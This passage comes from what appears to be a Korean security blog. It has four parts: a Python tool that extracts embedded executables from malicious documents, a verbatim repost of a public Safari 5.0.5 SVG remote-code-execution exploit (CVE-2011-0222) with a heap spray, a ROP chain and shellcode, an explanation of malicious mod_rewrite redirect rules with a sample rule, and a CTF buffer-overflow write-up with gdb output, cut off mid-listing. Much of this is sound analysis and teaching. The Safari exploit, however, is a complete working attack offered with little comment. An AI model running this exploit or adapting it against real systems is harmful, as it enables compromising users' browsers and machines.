이 스크립트는 주로 타켓 공격에 많이 이용되는 PDF나 DOC 등 문서 파일의 취약점을 이용하여 악성코드를 감염시킬 때, 만약 문서파일 내부에 악성 PE파일이 있을 경우 뽑아주는 스크립트 이다.

물론 파일 내부에 삽입하지 않고 외부에서 다운로드 받아 실행하는 쉘코드가 들어가 있는 경우도 있지만 경험 상 PE파일이 삽입된 경우가 많았다.

이 스크립트에 사용된 라이브러리도 앞으로 꽤나 유용하게 쓰일거 같다 :-)

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125


#!/usr/bin/python
# [ pyexedump.py ]
#
# By Neil Archibald
#

import sys
import yara # http://code.google.com/p/yara-project/
import pefile # http://code.google.com/p/pefile/
import md5
import mmap

class exedump:
 __srch = """
 rule exe_drop
 {
 strings:
 $a = "This program cannot be run in DOS mode"
 condition:
 all of them
 }
 """

 MZSIZE = 78

 def __init__(self, search_file):
 self.__offset = None
 self.__pe = None
 self.__pe_size = None
 self.__map = None
 self.__rules = yara.compile(source=exedump.__srch)
 self.__search_file = search_file
 self.__matches = self.__rules.match(self.__search_file)
 # end __init__

 def __set_pe_size(self):
 largest = 0
 for section in self.__pe.sections:
 addr = section.PointerToRawData + section.SizeOfRawData
 if(addr > largest):
 largest = addr
 # end if
 # end for
 self.__pe_size = largest

 def has_pe(self):
 return (self.__matches and len(self.__matches) != 0)

 def find_pe(self):
 if not self.has_pe():
 return None

 self.__offset = self.__matches[0].strings[0][0] - exedump.MZSIZE # offset in file to start of MZ header
 return self.__offset

 def parse_pe(self):
 if self.__offset == None and self.find_pe() == None:
 return None

 fp = open(self.__search_file,'r+b')
 self.__map = mmap.mmap(fp.fileno(),0)
 fp.close()

 self.__pe = pefile.PE(data=self.__map[self.__offset:])
 self.__set_pe_size()
 self.__map = self.__map[self.__offset:self.__offset + self.__pe_size] #truncate extra bits
 return self.__pe_size

 def write_pe(self, filename=None):
 if not self.__map:
 return None

 if not filename:
 filename = self.gen_filename()
 fp = open(filename, "wb+")
 fp.write(self.__map)
 fp.close()

 return filename

 def gen_filename(self):
 m = md5.new()
 m.update(self.__map)
 filename = m.hexdigest() + ".exe"
 return filename

 def get_filesize(self):
 if self.__pe_size == None:
 self.__pe_size = self.__set_pe_size()

 return self.__pe_size

# end exedump

def main(argv):

 if(len(argv) != 2):
 print "usage: %s \n" % argv[0]
 sys.exit(1)
 # end if

 ed = exedump(argv[1])
 if not ed.has_pe():
 print "[!] error: no embedded executable file detected"
 sys.exit(1)
 # end if

 print "[+] Searching for embedded EXE file in: %s" % argv[1]

 offset = ed.find_pe()
 print "[+] Found file embedded EXE at offset: 0x%x" % offset

 file_size = ed.parse_pe()
 print "[+] Size of PE file: 0x%x bytes." % file_size

 exefilename = ed.gen_filename()
 print "[+] Writing out exe file to: %s." % exefilename

 ed.write_pe(exefilename)

# end main

if __name__ == "__main__":
 main(sys.argv)
# end if

출처 : http://blogs.cisco.com/security/extracting-exe-drop-malware/

Safari 5.0.5 SVG Remote Code Execution Exploit (DEP bypass)

Tue, 26 Jul 2011 19:25:22 +0000

악성코드 유포에 이용될수도 있을거 같아 기록해 둡니다. http://www.exploit-db.com/exploits/17575/

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121


<html>
<head>
<script>
/* 
 Abysssec Public Advisory 

 apple killed one of our 0day no point to keep it private anymore :( 
 there is another version of exploit using POPup and thats more reliable but as you know safari block pop up by default so we found a cool way to bypass it and stand alone module . 
 this exploiting using ROP to bypass permanent DEP. 

 note : Change spray range if not work on your machine. 

 CVE-2011-0222 : 

 WebKit, as used in Apple Safari before 5.0.6, allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) 
 via a crafted web site a different vulnerability than other WebKit CVEs listed in APPLE-SA-2011-07-20-1.

 Tested on windows XP SP3 and safari 5.0.5 

 feel free to contact us at : info [at] abysssec.com 

 and follow @abysssec for updates 
*/
var cur_id;

var object_whiteList = {'document':1, 'rootElement':1, 'preserveAspectRatio':1,'baseVal':1, 'align':1 };

function crash(target) 
{
 var members = [];
 for (var name in target) members.push(name);

 for (var num in members) 
 {
 var name = members[num];

 if(object_whiteList[name] != 1)
 continue;

 var cur_value = null;
 cur_value = eval('target.' + name);

 if (typeof cur_value == 'object' )
 crash(cur_value); 

 }

};

function toggle_gc() {

 for (var i = 0; i < 10000; i++) {
 var s = new String("AAAA" + Math.random());
 eval("gc_string = s");
 }

}

function spray(size, n, payload)
{
 var string_size = size / 2;
 var str = payload;
 var c = unescape('%u4545%u4545');
 while (str.length < string_size)
 str += c;

 var h1 = [];
 h1[0] = str.substring(0, string_size)
 for( i = 1; i <= n; i++)
 h1[i] = unescape(h1[0])

};

var t1;
var state = 0;

function event_loop() 
{ 
 if(state == 0)
 crash( t1);
 else
 { var payload = unescape('%u0004%u7fc0');
 spray(32, 5000, payload);
 }
 state = (state + 1) % 2; 
 setTimeout('event_loop()', 10);
}

function run_tests() 
{
 toggle_gc();
 var payload = unescape('%u0004%u7fc0%u000c%u7fc0'
 + '%uB1C1%u7C9F' // mov esp, [ecx] | some instruction | ret (stackPivot)
 + '%u0010%u7fc0%u4242%u4242'
 + '%uD53A%u7C96' // pop ecx | ret
 + '%u1AD4%u7C80' // virtualProtect
 + '%u29D2%u7C83' // mov eax, ecx | ret
 + '%u99DE%u7642' // call eax | pop ecx | ret
 + '%u003c%u7fc0' // shellcode Address
 + '%u2000%u0000' // size
 + '%u0040%u0000' // permission
 + '%u0034%u7fc0' 
 + '%u6666%u6666'
 + '%u003c%u7fc0');

 var shellcode = unescape("%u9090%u8166%ufce4%u31ff%u56f6%u8b64%u3076%u768b%u8b0c%u1c76%u6e8b%u8b08%u8b36%u3c5d%u5c8b%u781d%ueb01%u4b8b%u6718%uece3%u7b8b%u0120%u8bef%u8f7c%u01fc%u31ef%u99c0%u1732%uc166%u01ca%u75ae%u66f7%ufa81%uf510%ue2e0%ucc75%u538b%u0124%u0fea%u14b7%u8b4a%u1c7b%uef01%u2c03%u6897%u652e%u6578%u6368%u6c61%u5463%u0487%u5024%ud5ff");
 payload += shellcode;

 spray(300,20000, payload); 
 t1 = window.open('target.svg', 't1');
 setTimeout('event_loop()', 1000); 
}

</script>

</head>

<body onload="run_tests()">
<svg></svg>
</body>
</html>

1
2
3
4
5
6


<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg width="100%" height="100%" version="1.1" xmlns="http://www.w3.org/2000/svg">

</svg>

Apache Module mod_rewrite 설정 그리고 이를 이용한 악성 행위들

Sun, 24 Jul 2011 12:06:53 +0000

Apache Module mod_rewrite 설정에서 페이지 자동 이동과 관련된 내용을 적어보고자 한다. http://httpd.apache.org/docs/2.0/mod/mod_rewrite.html

간단하게 사용할 수 있는 예제는 아래와 같다.

1
2
3
4


RewriteEngine On
RewriteCond %{REMOTE_ADDR} 61.84.203.81 [OR]
RewriteCond %{REMOTE_ADDR} 112.167.210.121
RewriteRule .* http://en.wikipedia.org/wiki/Fuck_You [L]

접속한 사용자의 IP가 61.84.203.81 또는 112.167.210.121 인 경우 http://en.wikipedia.org/wiki/Fuck_You 페이지로 이동하도록 설정한 경우이다. 여기서 [OR] 은 또는 이며 [L] 은 위 Cond 여기까지만 적용된다는 의미이다.

여기까지는 간략한 설정과 관련된 내용이며 위 설정 방법을 이용하여 악성행위를 어떻게 하는지 알아보자.

악성코드 중 위와 같은 설정값을 변조하는 행위를 하는 것도 있다. 일반적으로 악성코드로 인해 위 설정값이 변조되어 나타나는 증상 중 쉽게 볼 수 있는 케이스를 한번 살펴보자.

특정 A라는 회사의 홈페이지가 있다. 해당 회사의 홈페이지 URL을 입력하여 접속하면 잘 접속이 된다. 하지만 구글이나 기타 검색엔진에서 해당 회사를 검색하여 들어가면 성인사이트나 기타 광고페이지로 자동으로 연결되는 경우가 있다. 이는 아래와 같은 것들을 의심해볼 수 있다.

첫 페이지(index.html, index.php 등) 에서 Referer를 체크하여 google 혹은 기타 검색엔진일 경우 성인사이트로 자동 이동하는 스크립트가 삽입되어 있는 경우, 이는 웹소스가 변조되어 나타나는 증상이며 우리가 살펴볼 케이스는 아니다.
Apache 설정상의 문제, 이것이 살펴볼 케이스인데 Apache 웹루트의 .htaccess 파일 혹은 아파치 설정파일에 아래와 같은 설정값이 기록되어 있으면 문제가 발생한다.

1
2
3


RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC]
RewriteRule .* http://sex.com [L]

위 설정값을 풀어서 설명하자면 Referer가 "[아무문자]google(대소문자 구분없음)[아무문자]" 인 경우 http://sex.com 으로 이동하라는 설정값이다. 즉, 위와같은 설정값이 악성코드로 인해 삽입된다면 google 에서 검색하여 접속할 경우 성인사이트로 접속이 되는 것이다.

PADOCON 2010 CTF trililogy200 풀이 - RTL

Sun, 17 Jul 2011 14:18:41 +0000

이번 문제의 풀이는 이렇다. 우선 로또번호 6 자리를 맞추어야 한다. 그리고 맞추고 나면 argv[7] 값을 strcpy() 함수를 이용하 복사를 하나 이부분에서 오버플로우가 발생한다. 다만 역시 랜덤스택이라 RTL을 이용하여 풀이을 하여야 한다.

우선 로또값을 맞추는 코드부터 작성해 보자.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


#!/usr/bin/python
import os, re
p = os.popen('./lotto 1 2 3 4 5 6', 'r', 512)
data = p.readlines()

tmp = re.findall('\d+', data[2])
number = ' '.join(tmp)

payload = './lotto ' + number
os.system(payload)

추가로 popen() 을 쓰지 않고 seed 값을 알므로 아래와 같이 작성하여 맞출수도 있다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


#!/usr/bin/env python
import os
from ctypes import *

libc = CDLL("libc.so.6")
srand = libc.srand
rand = libc.rand
time = libc.time
srand(time(None))

num_list = []
for x in range(6):
 num_list.append(str(rand() % 45 +1))
number = ' '.join(num_list)

os.system('./lotto ' + number)

1
2
3
4
5
6
7


root@ubuntu:~# ./test.py
This is lotto program!! Write 6 numbers.

 >> Lotto number is 44 15 30 14 26 5 
Input number is 44 15 30 14 26 5 

Congratulation!!

로또 번호는 정확하게 맞추는 것을 확인했다. 이제 argv[7] 값을 입력해 공격을 해보도록 하자.

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257


root@ubuntu:~# gdb lotto 
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(no debugging symbols found)
(gdb) disassemble main
Dump of assembler code for function main:
0x08048534 <main+0>: push %ebp
0x08048535 <main+1>: mov %esp,%ebp
0x08048537 <main+3>: push %ebx
0x08048538 <main+4>: sub $0x54,%esp
0x0804853b <main+7>: movw $0x0,-0x6(%ebp)
0x08048541 <main+13>: movl $0x0,-0x1c(%ebp)
0x08048548 <main+20>: movl $0x0,(%esp)
0x0804854f <main+27>: call 0x8048450 <time@plt>
0x08048554 <main+32>: mov %eax,(%esp)
0x08048557 <main+35>: call 0x80483d0 <srand@plt>
0x0804855c <main+40>: movl $0x0,-0x10(%ebp)
0x08048563 <main+47>: jmp 0x80485d9 <main+165>
0x08048565 <main+49>: call 0x8048470 <rand@plt>
0x0804856a <main+54>: mov %eax,%ecx
0x0804856c <main+56>: mov $0xb60b60b7,%edx
0x08048571 <main+61>: mov %ecx,%eax
0x08048573 <main+63>: imul %edx
0x08048575 <main+65>: lea (%edx,%ecx,1),%eax
0x08048578 <main+68>: mov %eax,%edx
0x0804857a <main+70>: sar $0x5,%edx
0x0804857d <main+73>: mov %ecx,%eax
0x0804857f <main+75>: sar $0x1f,%eax
0x08048582 <main+78>: mov %edx,%ebx
0x08048584 <main+80>: sub %eax,%ebx
0x08048586 <main+82>: mov %ebx,%eax
0x08048588 <main+84>: imul $0x2d,%eax,%eax
0x0804858b <main+87>: mov %ecx,%edx
0x0804858d <main+89>: sub %eax,%edx
0x0804858f <main+91>: mov %edx,%eax
0x08048591 <main+93>: add $0x1,%eax
0x08048594 <main+96>: mov %eax,-0x18(%ebp)
0x08048597 <main+99>: movl $0x0,-0x14(%ebp)
0x0804859e <main+106>: jmp 0x80485bd <main+137>
0x080485a0 <main+108>: mov -0x14(%ebp),%eax
0x080485a3 <main+111>: mov -0x4c(%ebp,%eax,4),%eax
0x080485a7 <main+115>: cmp -0x18(%ebp),%eax
0x080485aa <main+118>: jne 0x80485b9 <main+133>
0x080485ac <main+120>: subl $0x1,-0x10(%ebp)
0x080485b0 <main+124>: movl $0x0,-0x18(%ebp)
0x080485b7 <main+131>: jmp 0x80485c5 <main+145>
0x080485b9 <main+133>: addl $0x1,-0x14(%ebp)
0x080485bd <main+137>: mov -0x14(%ebp),%eax
0x080485c0 <main+140>: cmp -0x10(%ebp),%eax
0x080485c3 <main+143>: jl 0x80485a0 <main+108>
0x080485c5 <main+145>: cmpl $0x0,-0x18(%ebp)
0x080485c9 <main+149>: je 0x80485d5 <main+161>
0x080485cb <main+151>: mov -0x10(%ebp),%eax
---Type <return> to continue, or q <return> to quit---
0x080485ce <main+154>: mov -0x18(%ebp),%edx
0x080485d1 <main+157>: mov %edx,-0x4c(%ebp,%eax,4)
0x080485d5 <main+161>: addl $0x1,-0x10(%ebp)
0x080485d9 <main+165>: cmpl $0x5,-0x10(%ebp)
0x080485dd <main+169>: jle 0x8048565 <main+49>
0x080485df <main+171>: mov $0x80488e4,%eax
0x080485e4 <main+176>: mov %eax,(%esp)
0x080485e7 <main+179>: call 0x8048430 <printf@plt>
0x080485ec <main+184>: cmpl $0x6,0x8(%ebp)
0x080485f0 <main+188>: jg 0x8048608 <main+212>
0x080485f2 <main+190>: movl $0x8048913,(%esp)
0x080485f9 <main+197>: call 0x8048460 <puts@plt>
0x080485fe <main+202>: mov $0x0,%eax
0x08048603 <main+207>: jmp 0x804880e <main+730>
0x08048608 <main+212>: movl $0x0,-0x10(%ebp)
0x0804860f <main+219>: jmp 0x8048700 <main+460>
0x08048614 <main+224>: cmpl $0x5,-0x10(%ebp)
0x08048618 <main+228>: jne 0x80486df <main+427>
0x0804861e <main+234>: mov -0x10(%ebp),%eax
0x08048621 <main+237>: add $0x1,%eax
0x08048624 <main+240>: shl $0x2,%eax
0x08048627 <main+243>: add 0xc(%ebp),%eax
0x0804862a <main+246>: mov (%eax),%eax
0x0804862c <main+248>: mov %eax,(%esp)
0x0804862f <main+251>: call 0x8048410 <strlen@plt>
0x08048634 <main+256>: cmp $0x1,%eax
0x08048637 <main+259>: jne 0x804866d <main+313>
0x08048639 <main+261>: mov -0x10(%ebp),%eax
0x0804863c <main+264>: add $0x1,%eax
0x0804863f <main+267>: shl $0x2,%eax
0x08048642 <main+270>: add 0xc(%ebp),%eax
0x08048645 <main+273>: mov (%eax),%eax
0x08048647 <main+275>: movl $0x1,0x8(%esp)
0x0804864f <main+283>: mov %eax,0x4(%esp)
0x08048653 <main+287>: lea -0x6(%ebp),%eax
0x08048656 <main+290>: mov %eax,(%esp)
0x08048659 <main+293>: call 0x80483f0 <strncpy@plt>
0x0804865e <main+298>: movzbl -0x6(%ebp),%eax
0x08048662 <main+302>: movsbl %al,%eax
0x08048665 <main+305>: sub $0x30,%eax
0x08048668 <main+308>: mov %eax,-0x18(%ebp)
0x0804866b <main+311>: jmp 0x80486d3 <main+415>
0x0804866d <main+313>: mov -0x10(%ebp),%eax
0x08048670 <main+316>: add $0x1,%eax
0x08048673 <main+319>: shl $0x2,%eax
0x08048676 <main+322>: add 0xc(%ebp),%eax
0x08048679 <main+325>: mov (%eax),%eax
0x0804867b <main+327>: mov %eax,(%esp)
---Type <return> to continue, or q <return> to quit---
0x0804867e <main+330>: call 0x8048410 <strlen@plt>
0x08048683 <main+335>: cmp $0x1,%eax
0x08048686 <main+338>: jbe 0x80486d3 <main+415>
0x08048688 <main+340>: mov -0x10(%ebp),%eax
0x0804868b <main+343>: add $0x1,%eax
0x0804868e <main+346>: shl $0x2,%eax
0x08048691 <main+349>: add 0xc(%ebp),%eax
0x08048694 <main+352>: mov (%eax),%eax
0x08048696 <main+354>: movl $0x2,0x8(%esp)
0x0804869e <main+362>: mov %eax,0x4(%esp)
0x080486a2 <main+366>: lea -0x6(%ebp),%eax
0x080486a5 <main+369>: mov %eax,(%esp)
0x080486a8 <main+372>: call 0x80483f0 <strncpy@plt>
0x080486ad <main+377>: movzbl -0x6(%ebp),%eax
0x080486b1 <main+381>: movsbl %al,%edx
0x080486b4 <main+384>: mov %edx,%eax
0x080486b6 <main+386>: shl $0x2,%eax
0x080486b9 <main+389>: add %edx,%eax
0x080486bb <main+391>: add %eax,%eax
0x080486bd <main+393>: lea -0x1e0(%eax),%edx
0x080486c3 <main+399>: movzbl -0x5(%ebp),%eax
0x080486c7 <main+403>: movsbl %al,%eax
0x080486ca <main+406>: lea (%edx,%eax,1),%eax
0x080486cd <main+409>: sub $0x30,%eax
0x080486d0 <main+412>: mov %eax,-0x18(%ebp)
0x080486d3 <main+415>: mov -0x10(%ebp),%eax
0x080486d6 <main+418>: mov -0x18(%ebp),%edx
0x080486d9 <main+421>: mov %edx,-0x34(%ebp,%eax,4)
0x080486dd <main+425>: jmp 0x80486fc <main+456>
0x080486df <main+427>: mov -0x10(%ebp),%ebx
0x080486e2 <main+430>: mov -0x10(%ebp),%eax
0x080486e5 <main+433>: add $0x1,%eax
0x080486e8 <main+436>: shl $0x2,%eax
0x080486eb <main+439>: add 0xc(%ebp),%eax
0x080486ee <main+442>: mov (%eax),%eax
0x080486f0 <main+444>: mov %eax,(%esp)
0x080486f3 <main+447>: call 0x8048440 <atoi@plt>
0x080486f8 <main+452>: mov %eax,-0x34(%ebp,%ebx,4)
0x080486fc <main+456>: addl $0x1,-0x10(%ebp)
0x08048700 <main+460>: cmpl $0x5,-0x10(%ebp)
0x08048704 <main+464>: jle 0x8048614 <main+224>
0x0804870a <main+470>: mov $0x804892d,%eax
0x0804870f <main+475>: mov %eax,(%esp)
0x08048712 <main+478>: call 0x8048430 <printf@plt>
0x08048717 <main+483>: movl $0x0,-0x10(%ebp)
0x0804871e <main+490>: jmp 0x804873c <main+520>
0x08048720 <main+492>: mov -0x10(%ebp),%eax
0x08048723 <main+495>: mov -0x4c(%ebp,%eax,4),%edx
---Type <return> to continue, or q <return> to quit---
0x08048727 <main+499>: mov $0x804893e,%eax
0x0804872c <main+504>: mov %edx,0x4(%esp)
0x08048730 <main+508>: mov %eax,(%esp)
0x08048733 <main+511>: call 0x8048430 <printf@plt>
0x08048738 <main+516>: addl $0x1,-0x10(%ebp)
0x0804873c <main+520>: cmpl $0x5,-0x10(%ebp)
0x08048740 <main+524>: jle 0x8048720 <main+492>
0x08048742 <main+526>: mov $0x8048942,%eax
0x08048747 <main+531>: mov %eax,(%esp)
0x0804874a <main+534>: call 0x8048430 <printf@plt>
0x0804874f <main+539>: movl $0x0,-0x10(%ebp)
0x08048756 <main+546>: jmp 0x8048774 <main+576>
0x08048758 <main+548>: mov -0x10(%ebp),%eax
0x0804875b <main+551>: mov -0x34(%ebp,%eax,4),%edx
0x0804875f <main+555>: mov $0x804893e,%eax
0x08048764 <main+560>: mov %edx,0x4(%esp)
0x08048768 <main+564>: mov %eax,(%esp)
0x0804876b <main+567>: call 0x8048430 <printf@plt>
0x08048770 <main+572>: addl $0x1,-0x10(%ebp)
0x08048774 <main+576>: cmpl $0x5,-0x10(%ebp)
0x08048778 <main+580>: jle 0x8048758 <main+548>
0x0804877a <main+582>: movl $0x8048954,(%esp)
0x08048781 <main+589>: call 0x8048460 <puts@plt>
0x08048786 <main+594>: movl $0x0,-0x1c(%ebp)
0x0804878d <main+601>: movl $0x0,-0x10(%ebp)
0x08048794 <main+608>: jmp 0x8048803 <main+719>
0x08048796 <main+610>: movl $0x0,-0x14(%ebp)
0x0804879d <main+617>: jmp 0x80487f6 <main+706>
0x0804879f <main+619>: mov -0x10(%ebp),%eax
0x080487a2 <main+622>: mov -0x4c(%ebp,%eax,4),%edx
0x080487a6 <main+626>: mov -0x14(%ebp),%eax
0x080487a9 <main+629>: mov -0x34(%ebp,%eax,4),%eax
0x080487ad <main+633>: cmp %eax,%edx
0x080487af <main+635>: jne 0x80487f2 <main+702>
0x080487b1 <main+637>: addl $0x1,-0x1c(%ebp)
0x080487b5 <main+641>: cmpl $0x5,-0x10(%ebp)
0x080487b9 <main+645>: jne 0x80487f2 <main+702>
0x080487bb <main+647>: cmpl $0x6,-0x1c(%ebp)
0x080487bf <main+651>: jne 0x80487f2 <main+702>
0x080487c1 <main+653>: movl $0x8048956,(%esp)
0x080487c8 <main+660>: call 0x8048460 <puts@plt>
0x080487cd <main+665>: mov 0xc(%ebp),%eax
0x080487d0 <main+668>: add $0x1c,%eax
0x080487d3 <main+671>: mov (%eax),%eax
0x080487d5 <main+673>: test %eax,%eax
0x080487d7 <main+675>: je 0x80487fe <main+714>
0x080487d9 <main+677>: mov 0xc(%ebp),%eax
0x080487dc <main+680>: add $0x1c,%eax
---Type <return> to continue, or q <return> to quit---
0x080487df <main+683>: mov (%eax),%eax
0x080487e1 <main+685>: mov %eax,0x4(%esp)
0x080487e5 <main+689>: lea -0xa(%ebp),%eax
0x080487e8 <main+692>: mov %eax,(%esp)
0x080487eb <main+695>: call 0x8048420 <strcpy@plt>
0x080487f0 <main+700>: jmp 0x80487ff <main+715>
0x080487f2 <main+702>: addl $0x1,-0x14(%ebp)
0x080487f6 <main+706>: cmpl $0x5,-0x14(%ebp)
0x080487fa <main+710>: jle 0x804879f <main+619>
0x080487fc <main+712>: jmp 0x80487ff <main+715>
0x080487fe <main+714>: nop 
0x080487ff <main+715>: addl $0x1,-0x10(%ebp)
0x08048803 <main+719>: cmpl $0x5,-0x10(%ebp)
0x08048807 <main+723>: jle 0x8048796 <main+610>
0x08048809 <main+725>: mov $0x0,%eax
0x0804880e <main+730>: add $0x54,%esp
0x08048811 <main+733>: pop %ebx
0x08048812 <main+734>: pop %ebp
0x08048813 <main+735>: ret 
End of assembler dump.
(gdb) b main
Breakpoint 1 at 0x8048538
(gdb) b *main+735
Breakpoint 2 at 0x8048813
(gdb) r 1 2 3 4 5 6 AAAA
Starting program: /root/lotto 1 2 3 4 5 6 AAAA
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)

Breakpoint 1, 0x08048538 in main ()
(gdb) jump *main+677
Continuing at 0x80487d9.

Program received signal SIGSEGV, Segmentation fault.
0x08004141 in ?? ()
(gdb) r 1 2 3 4 5 6 AABBBB
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/lotto 1 2 3 4 5 6 AABBBB
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)

Breakpoint 1, 0x08048538 in main ()
(gdb) jump *main+677 
Continuing at 0x80487d9.

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) 

argv[7] 값에 넣어야 할 인자의 크기를 정확하게 확인하였다. 이제 RTL을 해보도록 하자. 우선 간단한 GOT를 이용하여 풀이를 하기위해 주소를 확인해 보자.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56


root@ubuntu:~# objdump -R lotto 

lotto: file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE 
08049ac8 R_386_GLOB_DAT __gmon_start__
08049ad8 R_386_JUMP_SLOT srand
08049adc R_386_JUMP_SLOT __gmon_start__
08049ae0 R_386_JUMP_SLOT strncpy
08049ae4 R_386_JUMP_SLOT __libc_start_main
08049ae8 R_386_JUMP_SLOT strlen
08049aec R_386_JUMP_SLOT strcpy
08049af0 R_386_JUMP_SLOT printf
08049af4 R_386_JUMP_SLOT atoi
08049af8 R_386_JUMP_SLOT time
08049afc R_386_JUMP_SLOT puts
08049b00 R_386_JUMP_SLOT rand

root@ubuntu:~# gdb lotto 
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(no debugging symbols found)
(gdb) b main
Breakpoint 1 at 0x8048538
(gdb) r
Starting program: /root/lotto 
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)

Breakpoint 1, 0x08048538 in main ()
(gdb) x/32wx 0x08049aec
0x8049aec <_GLOBAL_OFFSET_TABLE_+32>: 0x08048426 0x08048436 0x08048446 0x08048456
0x8049afc <_GLOBAL_OFFSET_TABLE_+48>: 0x08048466 0x08048476 0x00000000 0x00000000
0x8049b0c <dtor_idx.5955>: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049b1c: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049b2c: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049b3c: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049b4c: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049b5c: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) x/32wx 0x08049aec-32
0x8049acc <_GLOBAL_OFFSET_TABLE_>: 0x08049a00 0xb7f09668 0xb7f00b70 0x080483d6
0x8049adc <_GLOBAL_OFFSET_TABLE_+16>: 0x080483e6 0x080483f6 0xb7daf370 0x08048416
0x8049aec <_GLOBAL_OFFSET_TABLE_+32>: 0x08048426 0x08048436 0x08048446 0x08048456
0x8049afc <_GLOBAL_OFFSET_TABLE_+48>: 0x08048466 0x08048476 0x00000000 0x00000000
0x8049b0c <dtor_idx.5955>: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049b1c: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049b2c: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049b3c: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) 

GOT 주소를 확인해보면 0x00이 들어간다. 해당 값을 널이라 인자를 구성할 수 없다. 따라서 "ret" 명령어를 이용한 방법으로 풀이를 해보자.

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
